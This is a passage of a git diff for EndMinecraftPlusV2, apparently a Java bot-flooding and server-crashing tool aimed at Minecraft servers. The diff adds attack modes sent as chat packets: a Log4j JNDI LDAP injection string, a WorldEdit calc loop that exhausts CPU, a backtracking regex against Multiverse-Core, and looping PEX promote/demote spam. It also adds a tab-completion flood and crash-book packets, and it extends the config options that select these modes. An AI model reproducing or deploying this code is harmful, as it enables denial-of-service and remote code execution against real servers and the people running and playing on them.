this.attack_maxconnect) { - break; + client.connect(false); + }); + + if (this.attack_joinsleep > 0) { + OtherUtils.doSleep(attack_joinsleep); + } + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); } - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); } } } @@ -442,7 +487,6 @@ public class NewBotAttack extends IAttack { clientName.put(rejoinClient, username); clients.add(rejoinClient); rejoinClient.connect(false); - ProxyUtil.clientsProxy.put(client, proxy); if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) { rejoinPlayers.remove(username); @@ -458,7 +502,7 @@ public class NewBotAttack extends IAttack { } failed++; - alivePlayers.remove(username); + alivePlayers.remove(client); }).start(); } }); @@ -506,8 +550,8 @@ public class NewBotAttack extends IAttack { LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); joinedPlayers.add(session); - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); + if (!alivePlayers.contains(session)) { + alivePlayers.add(session); } MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); @@ -534,10 +578,6 @@ public class NewBotAttack extends IAttack { joinedPlayers.add(session); } - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); - } - if (ConfigUtil.ShowServerMessages && !result.get("msg").equals("")) { LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); } @@ -573,8 +613,8 @@ public class NewBotAttack extends IAttack { LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); joinedPlayers.add(session); - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); + if (!alivePlayers.contains(session)) { + alivePlayers.add(session); } VersionSupport758.sendClientSettingPacket(session, "zh_CN"); @@ -582,8 +622,8 @@ public class NewBotAttack extends IAttack { } else if (recvPacket instanceof ClientboundKeepAlivePacket) { ServerboundKeepAlivePacket keepAlivePacket = new ServerboundKeepAlivePacket(((ClientboundKeepAlivePacket) recvPacket).getPingId()); session.send(keepAlivePacket); - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); + if (!alivePlayers.contains(session)) { + alivePlayers.add(session); } } else if (recvPacket instanceof ClientboundPlayerPositionPacket) { try { @@ -605,10 +645,6 @@ public class NewBotAttack extends IAttack { joinedPlayers.add(session); } - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); - } - if (ConfigUtil.ShowServerMessages) { LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); } @@ -624,10 +660,6 @@ public class NewBotAttack extends IAttack { joinedPlayers.add(session); } - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); - } - if (ConfigUtil.ShowServerMessages) { LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); } @@ -643,10 +675,6 @@ public class NewBotAttack extends IAttack { joinedPlayers.add(session); } - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); - } - if (ConfigUtil.ShowServerMessages) { LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); } @@ -654,7 +682,7 @@ public class NewBotAttack extends IAttack { } public static ItemStack getCrashBook() { - ItemStack crashBook = null; + ItemStack crashBook; CompoundTag nbtTag = new CompoundTag("crashBook"); List pageList = new ArrayList<>(); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java index f76b1ce..0e0ec18 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java @@ -56,7 +56,6 @@ public class BotAttack extends IAttack { protected Map modList; private Thread mainThread; - private Thread tabThread; private Thread taskThread; public Set clients = new ConcurrentSet<>(); @@ -90,10 +89,8 @@ public class BotAttack extends IAttack { if (c.isConnected()) { if (c.hasFlag("login")) { if (ConfigUtil.ChatSpam) { - new Thread(() -> { - c.send(new ClientChatPacket(getRandMessage(clientName.get(c)))); - OtherUtils.doSleep(ConfigUtil.ChatDelay); - }).start(); + OtherUtils.doSleep(ConfigUtil.ChatDelay); + c.send(new ClientChatPacket(getRandMessage(clientName.get(c)))); } if (ConfigUtil.RandomTeleport) { @@ -111,10 +108,10 @@ public class BotAttack extends IAttack { new Thread(() -> { c.setFlag("crasher", true); + LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); + switch (ConfigUtil.ServerCrasherMode) { case 1: - LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); - while (c.isConnected()) { try { ItemStack crashBook = getCrashBook(); @@ -136,9 +133,41 @@ public class BotAttack extends IAttack { OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); } catch (Exception ignored) {} } - + break; + case 2: + String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; + c.send(new ClientChatPacket(log4jExploit)); + break; + case 3: + String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}"; + c.send(new ClientChatPacket(worldEdit)); + break; + case 4: + String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^"; + c.send(new ClientChatPacket(multiverseCore)); + break; + case 5: + String pex_1 = "/pex promote a a"; + String pex_2 = "/pex demote a a"; + while (c.isConnected()) { + c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2)); + OtherUtils.doSleep(2000); + } break; default: + LogUtil.doLog(1, "ServerCrasher Mode设置有误，请检查配置文件。", null); + break; + } + }).start(); + } + + if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) { + c.setFlag("tabAttack", true); + + new Thread(() -> { + while (c.isConnected()) { + MultiVersionPacket.sendTabPacket(c, "/"); + OtherUtils.doSleep(100); } }).start(); } @@ -157,8 +186,9 @@ public class BotAttack extends IAttack { } else { c.setFlag("login", true); } - } + } else { + alivePlayers.remove(c); } } @@ -191,36 +221,18 @@ public class BotAttack extends IAttack { } }); - if (this.attack_tab) { - tabThread = new Thread(() -> { - while (true) { - Set cacheClients = clients; - - for (Client c:cacheClients) { - if (c.getSession().isConnected() && c.getSession().hasFlag("login")) { - MultiVersionPacket.sendTabPacket(c.getSession(), "/"); - } - } - - OtherUtils.doSleep(10); - } - }); - } - mainThread.start(); - if (tabThread != null) - tabThread.start(); - if (taskThread != null) + if (taskThread != null) { taskThread.start(); + } } @SuppressWarnings("deprecation") public void stop() { mainThread.stop(); - if (tabThread != null) - tabThread.stop(); - if (taskThread != null) + if (taskThread != null) { taskThread.stop(); + } } public void setTask(Runnable task) { @@ -255,7 +267,7 @@ public class BotAttack extends IAttack { break; } - while (clients.size() > this.attack_maxconnect) { + while (clients.size() <= this.attack_maxconnect) { for (String p: ProxyUtil.proxies) { try { if (!EndMinecraftPlusV2.isLinux) { @@ -270,7 +282,6 @@ public class BotAttack extends IAttack { client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); clientName.put(client.getSession(), User[0]); clients.add(client); - ProxyUtil.clientsProxy.put(client.getSession(), proxy); pool.submit(() -> { if (this.attack_motdbefore) { @@ -315,8 +326,6 @@ public class BotAttack extends IAttack { if (ConfigUtil.SaveWorkingProxy) { ProxyUtil.saveWorkingProxy(proxy); } - - clientName.put(client.getSession(), username); } public void disconnecting(DisconnectingEvent e) { @@ -350,7 +359,6 @@ public class BotAttack extends IAttack { clientName.put(rejoinClient.getSession(), username); clients.add(rejoinClient); rejoinClient.getSession().connect(false); - ProxyUtil.clientsProxy.put(client.getSession(), proxy); if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { rejoinPlayers.remove(username); @@ -485,6 +493,10 @@ public class BotAttack extends IAttack { if (!joinedPlayers.contains(session)) { joinedPlayers.add(session); } + + if (!alivePlayers.contains(session)) { + alivePlayers.add(session); + } } } @@ -514,7 +526,7 @@ public class BotAttack extends IAttack { } public static ItemStack getCrashBook() { - ItemStack crashBook = null; + ItemStack crashBook; CompoundTag nbtTag = new CompoundTag("crashBook"); List pageList = new ArrayList<>(); diff --git a/src/config.yml b/src/config.yml index 11dcfd1..921b827 100644 --- a/src/config.yml +++ b/src/config.yml @@ -49,7 +49,11 @@ AdvancedSettings: # 来自FDPClient的魔法道具~ ServerCrasher: Enable: false - # 1 - Book (BSign/BEdit) + # 1 - Book (BSign/BEdit) [仅1.8.X可用] + # 2 - Log4j Exploit + # 3 - WorldEdit + # 4 - MultiverseCore + # 5 - PEX Mode: 1 PacketDelay: 100